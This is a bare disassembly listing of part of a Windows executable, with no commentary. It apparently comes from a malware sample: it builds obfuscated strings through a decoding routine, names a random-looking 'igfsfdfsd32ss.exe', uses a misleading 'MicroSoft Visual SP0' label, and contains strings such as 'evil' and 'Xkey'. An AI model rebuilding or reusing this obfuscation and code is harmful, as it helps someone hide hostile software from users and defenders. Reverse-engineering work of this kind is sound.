lea ecx, [esp+360h+var_1A4]
call sub_40202C
push offset byte_448F40
lea ecx, [esp+360h+var_1BC]
call sub_401A9B
push offset aFor_0 ; "##for##"
lea ecx, [esp+360h+var_2AC]
call sub_401A9B
push offset aFor ; "##for"
lea ecx, [esp+360h+var_24C]
call sub_401A9B
push offset aXkey ; "Xkey"
lea ecx, [esp+360h+var_2F4]
call sub_401A9B
push offset aIgfsfdfsd32ss_ ; "igfsfdfsd32ss.exe"
lea ecx, [esp+360h+var_1D4]
call sub_401A9B
push offset aAyssds4ddklfsd ; "ayssds4ddklfsdfssas"
lea ecx, [esp+360h+var_204]
call sub_401A9B
push offset asc_444834 ; "X-"
lea ecx, [esp+360h+var_294]
call sub_401A9B
push offset aSet ; "set"
lea ecx, [esp+360h+var_234]
call sub_401A9B
push 0
push 4Ah
push 20h
push 48h
push 1Ch
push 4Bh
push 46h
push 4Ah
push 46h
push 47h
push 4Ch
push 1Fh
push 48h
push 1Fh
push ebx
push 1Bh
push 1Dh
push 47h
push 4Bh
push 47h
push ebx
push 45h
push 46h
push 4Ah
push 48h
push ebx
push 1Dh
push 1Ch
push 4Ah
push 20h
push 4Ch
push 4Dh
lea edx, [esp+3DCh+var_348]
push 44h
push edx
call sub_4019C4
add esp, 88h
push eax
lea ecx, [esp+360h+var_264]
mov byte ptr [esp+360h+var_4], 1Fh
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push offset aFeeling_nasty ; "feeling.nasty"
lea ecx, [esp+360h+var_E4]
call sub_401A9B
push offset aEvil ; "evil"
lea ecx, [esp+360h+var_15C]
call sub_401A9B
push offset aMicrosoftVisua ; "MicroSoft Visual SP0"
lea ecx, [esp+360h+var_114]
call sub_401A9B
push offset dword_4447F8
lea ecx, [esp+360h+var_27C]
call sub_401A9B
push 0
push 4Bh
push 48h
push 4Ah
push 47h
push 4Ch
push 48h
push 4Bh
push 48h
push 45h
lea eax, [esp+384h+var_348]
push 46h
push eax
call sub_4019C4
add esp, 30h
push eax
lea ecx, [esp+360h+var_18C]
mov byte ptr [esp+360h+var_4], 20h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 0Dh
push 0Fh
push 3
push 4Fh
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 0Dh
push 4Fh
push 19h
push 14h
push 0Fh
push 2
push 12h
lea ecx, [esp+3ACh+var_348]
push 13h
push ecx
call sub_4019C4
add esp, 58h
push eax
lea ecx, [esp+360h+var_1EC]
mov byte ptr [esp+360h+var_4], 21h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea edx, [esp+36Ch+var_348]
push 45h
push edx
call sub_4019C4
add esp, 18h
push eax
lea ecx, [esp+360h+var_CC]
mov byte ptr [esp+360h+var_4], 22h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea eax, [esp+36Ch+var_348]
push 45h
push eax
call sub_4019C4
add esp, 18h
push eax
lea ecx, [esp+360h+var_B4]
mov byte ptr [esp+360h+var_4], 23h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 44h
push 49h
lea ecx, [esp+368h+var_348]
push 46h
push ecx
call sub_4019C4
add esp, 14h
push eax
lea ecx, [esp+360h+var_21C]
mov byte ptr [esp+360h+var_4], 24h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea edx, [esp+36Ch+var_348]
push 45h
push edx
call sub_4019C4
add esp, 18h
push eax
lea ecx, [esp+360h+var_9C]
mov byte ptr [esp+360h+var_4], 25h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 5
push 15h
push 12h
lea eax, [esp+36Ch+var_348]
push 14h
push eax
call sub_4019C4
add esp, 18h
push eax
lea ecx, [esp+360h+var_330]
mov byte ptr [esp+360h+var_4], 26h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 5
push 13h
push 0Ch
push 1
lea ecx, [esp+370h+var_348]
push 6
push ecx
call sub_4019C4
add esp, 1Ch
push eax
lea ecx, [esp+360h+var_318]
mov byte ptr [esp+360h+var_4], 27h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea ecx, [esp+35Ch+var_2F4]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_34C], esp
push eax
call sub_401870
push 0
push 13h
push 13h
push 1
push 10h
push 0Eh
push 1
push 8
push 3
push 4Eh
mov byte ptr [esp+39Ch+var_4], 28h
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+3D0h+var_348]
push 13h
push edx
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+374h+var_4], 29h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_350], esp
push eax
call sub_401870
lea eax, [esi+0FECh]
mov ecx, esi
push eax
mov byte ptr [esp+390h+var_4], 2Ah
call sub_401CD5
sub_4077E0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+0B0h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 0Eh
push 1
push 8
push 3
push 0Eh
push 9
push 1
push 0Dh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+88h]
push 13h
push ecx
mov byte ptr [esp+3D4h], 2Bh
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 2Ch
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edx, [esi+1035h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 2Dh
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+80h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 14h
push 12h
push 0Fh
push 10h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+78h]
push 13h
push eax
mov byte ptr [esp+3C4h], 2Eh
call sub_4019C4
add esp, 54h
mov ecx, eax
mov byte ptr [esp+370h], 2Fh
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea ecx, [esi+0FA3h]
mov byte ptr [esp+388h], 30h
push ecx
mov ecx, esi
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+98h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
mov byte ptr [esp+39Ch], 31h
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+80h]
push 13h
push edx
call sub_4019C4
add esp, 5Ch
mov ecx, eax
mov byte ptr [esp+370h], 32h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea eax, [esi+0F5Ah]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 33h
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+0C8h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 18h
push 9
push 6
push 5
push 12h
push 10h
push 0Bh
push 3
push 9
push 0Eh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+90h]
push 13h
push ecx
mov byte ptr [esp+3DCh], 34h
call sub_4019C4
add esp, 6Ch
mov ecx, eax
mov byte ptr [esp+370h], 35h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edi, [esi+0E7Fh]
mov ecx, esi
push edi
mov byte ptr [esp+38Ch], 36h
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+218h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 13h
push 13h
push 1
push 10h
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+88h]
push 13h
push edx
mov byte ptr [esp+3D4h], 37h
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 38h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea eax, [esi+0F11h]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 39h
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 0Ch
push 13h
push 13h
push 3Fh
push 5
push 13h
push 15h
mov byte ptr [esp+390h], 3Ah
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+84h]
push 13h
push ecx
call sub_4019C4
add esp, 60h
mov ecx, eax
mov byte ptr [esp+370h], 3Bh
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edx, [esi+107Eh]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 3Ch
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea eax, [esp+10h]
mov ecx, offset byte_4D835F
push eax
mov [esp+14h], edi
call sub_401A73
lea ecx, [esp+68h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 13h
push 13h
push 1
push 10h
push 0Eh
push 1
push 8
push 3
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+88h]
push 13h
push ecx
mov byte ptr [esp+3D4h], 3Dh
call sub_4019C4
add esp, 64h
mov byte ptr [esp+370h], 3Eh
mov ecx, eax
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edx, [esi+1234h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 3Fh
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+0B0h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 0Eh
push 1
push 8
push 3
push 0Eh
push 9
push 1
push 0Dh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+88h]
push 13h
push eax
mov byte ptr [esp+3D4h], 40h
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 41h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea ecx, [esi+127Dh]
mov byte ptr [esp+388h], 42h
push ecx
mov ecx, esi
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+1B8h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
mov byte ptr [esp+374h], 43h
push 14h
push 12h
push 0Fh
push 10h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+78h]
push 13h
push edx
call sub_4019C4
add esp, 54h
mov ecx, eax
mov byte ptr [esp+370h], 44h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea eax, [esi+11EBh]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 45h
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+1E8h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+80h]
push 13h
push ecx
mov byte ptr [esp+3CCh], 46h
call sub_4019C4
add esp, 5Ch
mov ecx, eax
mov byte ptr [esp+370h], 47h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edx, [esi+11A2h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 48h
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+0C8h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 18h
push 9
push 6
push 5
push 12h
push 10h
push 0Bh
push 3
push 9
push 0Eh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+90h]
push 13h
push eax
mov byte ptr [esp+3DCh], 49h
call sub_4019C4
add esp, 6Ch
mov ecx, eax
mov byte ptr [esp+370h], 4Ah
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edi, [esi+10C7h]
mov ecx, esi
push edi
mov byte ptr [esp+38Ch], 4Bh
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+1A0h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 13h
mov byte ptr [esp+378h], 4Ch
push 13h
push 1
push 10h
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+88h]
push 13h
push ecx
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 4Dh
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edx, [esi+1159h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 4Eh
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 0Ch
push 13h
push 13h
push 3Fh
push 5
push 13h
push 15h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+84h]
push 13h
push eax
mov byte ptr [esp+3D0h], 4Fh
call sub_4019C4
add esp, 60h
mov byte ptr [esp+370h], 50h
mov ecx, eax
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea ecx, [esi+12C6h]
mov byte ptr [esp+388h], 51h
push ecx
mov ecx, esi
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea edx, [esp+10h]
mov ecx, offset byte_4D835F
push edx
mov [esp+14h], edi
call sub_401A73
push offset byte_448F40
push offset word_4E8E6A
call sub_40102D
add esp, 8
lea ecx, [esp+230h]
call sub_40142E
lea ecx, [esp+260h]
mov byte ptr [esp+358h], 52h
call sub_40142E
push 56D2h
push 539h
mov byte ptr [esp+360h], 53h
call sub_4021C6
; ---------------------------------------------------------------------------
push eax
lea eax, [esp+23Ch]
push offset dword_4447F4
push eax
call sub_40102D
push 56D2h
push 539h
call sub_4021C6
; ---------------------------------------------------------------------------
push eax
lea ecx, [esp+280h]
push offset dword_4447F4
push ecx
call sub_40102D
add esp, 10h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+606h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+64Fh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+805h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
mov ecx, esp
lea edx, [esp+44h]
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+84Eh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+897h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+450h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+5Ch]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+499h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+52Bh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+574h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+0B28h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+5Ch]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+8E0h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
lea edx, [esp+278h]
push edx
call sub_4014D3
lea eax, [esi+3BEh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+1E8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+407h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+260h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+5BDh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+188h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+698h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+158h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+72Ah]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+128h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+6E1h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+2C0h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+773h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+2A8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+7BCh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push offset word_4E8E6A
call sub_4014D3
lea ecx, [esi+251h]
push ecx
mov ecx, esi
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+1A0h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+29Ah]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+170h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+2E3h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+0F8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+32Ch]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+248h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+375h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
push 0
mov ecx, offset byte_4D835F
call sub_401474
mov ecx, [eax]
add ecx, 16Dh
call sub_4017EE
push eax
push offset byte_4493FD
mov ecx, offset word_44ACE6
call sub_4015A0
push 0
mov ecx, offset byte_4D835F
call sub_401474
mov ecx, [eax]
add ecx, 1B6h
call sub_4017EE
push eax
push offset dword_4493B4
mov ecx, offset word_44ACE6
call sub_4015A0
push 0
mov ecx, offset byte_4D835F
call sub_401474
mov ecx, [eax]
call sub_4017EE
push eax
push offset dword_449290
mov ecx, offset word_44ACE6
call sub_4015A0
push 0
mov ecx, offset byte_4D835F
call sub_401474
mov ecx, [eax]
add ecx, 124h
call sub_4017EE
push eax
push offset word_449322
mov ecx, offset word_44ACE6
call sub_4015A0
push 0
mov ecx, offset byte_4D835F
call sub_401474
mov ecx, [eax]
add ecx, 0DBh
call sub_4017EE
push eax
push offset byte_4492D9
mov ecx, offset word_44ACE6
call sub_4015A0
push 0
mov ecx, offset byte_4D835F
call sub_401474
mov ecx, [eax]
add ecx, 92h
call sub_4017EE
push eax
push offset byte_44936B
mov ecx, offset word_44ACE6
call sub_4015A0
push 0
mov ecx, offset byte_4D835F
call sub_401474
mov ecx, [eax]
add ecx, 1FFh
call sub_4017EE
push eax
push offset byte_44948F
mov ecx, offset word_44ACE6
call sub_4015A0
lea ecx, [esp+200h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
lea ecx, [esp+290h]
mov byte ptr [esp+370h], 54h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+94h], esp
push eax
call sub_401870
lea ecx, [esp+128h]
mov byte ptr [esp+388h], 55h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+0A4h], esp
push eax
call sub_401870
lea ecx, [esp+170h]
mov byte ptr [esp+3A0h], 56h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+0C0h], esp
push eax
call sub_401870
mov ecx, offset word_44AC6E
mov byte ptr [esp+3B8h], 53h
call sub_40137F
; ---------------------------------------------------------------------------
lea ecx, [esp+260h]
mov byte ptr [esp+358h], 52h
call sub_401226
lea ecx, [esp+230h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
mov byte ptr [esp+358h], 1Dh
call sub_401226
mov byte ptr [esp+358h], 1Ch
lea ecx, [esp+2Ch]
call sub_401226
lea ecx, [esp+110h]
mov byte ptr [esp+358h], 1Bh
call sub_401226
lea ecx, [esp+2C0h]
mov byte ptr [esp+358h], 1Ah
call sub_401226
lea ecx, [esp+2A8h]
mov byte ptr [esp+358h], 19h
call sub_401226
lea ecx, [esp+140h]
mov byte ptr [esp+358h], 18h
call sub_401226
lea ecx, [esp+290h]
mov byte ptr [esp+358h], 17h
call sub_401226
lea ecx, [esp+170h]
mov byte ptr [esp+358h], 16h
call sub_401226
lea ecx, [esp+0E0h]
mov byte ptr [esp+358h], 15h
call sub_401226
lea ecx, [esp+1A0h]
mov byte ptr [esp+358h], 14h
call sub_401226
lea ecx, [esp+218h]
mov byte ptr [esp+358h], 13h
call sub_401226
lea ecx, [esp+1D0h]
mov byte ptr [esp+358h], 12h
call sub_401226
lea ecx, [esp+248h]
mov byte ptr [esp+358h], 11h
call sub_401226
lea ecx, [esp+200h]
mov byte ptr [esp+358h], 10h
call sub_401226
lea ecx, [esp+278h]
mov byte ptr [esp+358h], 0Fh
call sub_401226
lea ecx, [esp+0F8h]
mov byte ptr [esp+358h], 0Eh
call sub_401226
lea ecx, [esp+128h]
mov byte ptr [esp+358h], 0Dh
call sub_401226
lea ecx, [esp+2F0h]
mov byte ptr [esp+358h], 0Ch
call sub_401226
lea ecx, [esp+320h]
mov byte ptr [esp+358h], 0Bh
call sub_401226
lea ecx, [esp+2D8h]
mov byte ptr [esp+358h], 0Ah
call sub_401226
lea ecx, [esp+308h]
mov byte ptr [esp+358h], 9
call sub_401226
lea ecx, [esp+338h]
mov byte ptr [esp+358h], 8
call sub_401226
lea ecx, [esp+0C8h]
mov byte ptr [esp+358h], 7
call sub_401226
lea ecx, [esp+158h]
mov byte ptr [esp+358h], 6
call sub_401226
lea ecx, [esp+188h]
mov byte ptr [esp+358h], 5
call sub_401226
lea ecx, [esp+68h]
mov byte ptr [esp+358h], 4
call sub_401226
lea ecx, [esp+0B0h]
mov byte ptr [esp+358h], 3
call sub_401226
lea ecx, [esp+1B8h]
mov byte ptr [esp+358h], 2
call sub_401226
mov byte ptr [esp+358h], 1
lea ecx, [esp+1E8h]
call sub_401226
lea ecx, [esp+80h]
mov byte ptr [esp+358h], 0
call sub_401226
lea ecx, [esp+98h]
mov dword ptr [esp+358h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+350h]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
add esp, 350h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 5E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409530 proc near ; CODE XREF: sub_401474j
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_401983
mov edi, [esp+8+arg_0]
cmp eax, edi
ja short loc_409548
mov ecx, esi
call sub_40191A
; ---------------------------------------------------------------------------
loc_409548: ; CODE XREF: sub_409530+Fj
mov ecx, esi
call sub_401A46
lea eax, [eax+edi*4]
pop edi
pop esi
retn 4
sub_409530 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409570 proc near ; CODE XREF: sub_401A73j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40128A
push eax
mov ecx, esi
call sub_401695
pop esi
retn 4
sub_409570 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4095A0 proc near ; CODE XREF: sub_401A46j
mov eax, [ecx+4]
retn
sub_4095A0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4095C0 proc near ; CODE XREF: sub_40128Aj
mov eax, [ecx+8]
retn
sub_4095C0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4095E0 proc near ; CODE XREF: sub_401983j
mov edx, [ecx+4]
test edx, edx
jnz short loc_4095EA
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4095EA: ; CODE XREF: sub_4095E0+5j
mov eax, [ecx+8]
sub eax, edx
sar eax, 2
retn
sub_4095E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409610 proc near ; CODE XREF: sub_401695j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, ecx
call sub_401A46
mov edx, [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
push edx
mov esi, eax
push 1
sub esi, ecx
push eax
mov ecx, edi
sar esi, 2
call sub_401BAE
mov ecx, edi
call sub_401A46
lea eax, [eax+esi*4]
pop edi
pop esi
